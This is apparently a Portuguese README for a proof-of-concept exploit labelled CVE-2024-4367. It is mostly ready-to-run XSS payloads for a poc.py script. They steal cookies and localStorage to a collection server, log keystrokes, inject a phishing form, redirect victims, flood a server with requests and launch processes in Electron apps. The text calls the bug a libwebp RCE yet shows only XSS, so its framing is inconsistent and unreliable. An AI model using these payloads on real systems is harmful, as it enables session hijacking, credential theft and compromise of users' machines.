
PoC (Proof of Concept) da CVE-2024-4367 - Vulnerabilidade RCE em libwebp. Demonstração completa incluindo: criação de payloads, cenários de ataque, análise de riscos e servidor Express.js de teste.
Outro exemplo de exploração consiste em injetar uma simples mensagem de alerta para verificar se o ataque funciona.
python poc.py "alert('XSS exploit triggered');"
O ataque XSS pode ser usado para roubar os cookies da vítima e enviá-los a um servidor malicioso.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).O atacante pode roubar informações sensíveis armazenadas no localStorage da vítima, como dados de autenticação ou informações de sessão.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage e os envia a um servidor malicioso por meio de uma requisição fetch.O atacante pode redirecionar a vítima para um site malicioso a fim de obter informações adicionais ou carregar outro exploit.
python poc.py "window.location.href='http://localhost:3000';"
Outro tipo de ataque consiste em inundar um servidor com requisições, o que pode levar à degradação do desempenho ou à interrupção do serviço.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
O atacante pode interceptar as teclas digitadas pela vítima, o que lhe permite obter informações sensíveis como senhas ou identificadores.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
Um atacante pode usar XSS para injetar um formulário de phishing em uma página da Web e assim roubar informações sensíveis (ex.: senha, nome de usuário).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
Se o usuário for clicar em um botão de download, vamos alterar o destino do download.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Aplicações baseadas em frameworks como Electron ou NW.js também podem ser afetadas por ataques XSS, pois permitem integrar conteúdo web em aplicações de desktop com amplos acessos locais.
Essas aplicações, devido às suas permissões, podem permitir que um atacante acesse arquivos locais, execute processos externos ou até mesmo inicie outros aplicativos na máquina alvo (por exemplo, a calculadora, um editor de texto, etc.). Isso aumenta consideravelmente a superfície de ataque, pois essas aplicações combinam o poder da web com acessos mais amplos ao sistema.
Os ataques que exploram CVEs (Common Vulnerabilities and Exposures) podem permitir a realização de diversos tipos de ataques XSS. Ao explorar vulnerabilidades específicas em aplicações web ou de desktop, um atacante pode injetar código malicioso, roubar informações sensíveis, manipular sessões de usuário ou executar ações maliciosas no sistema alvo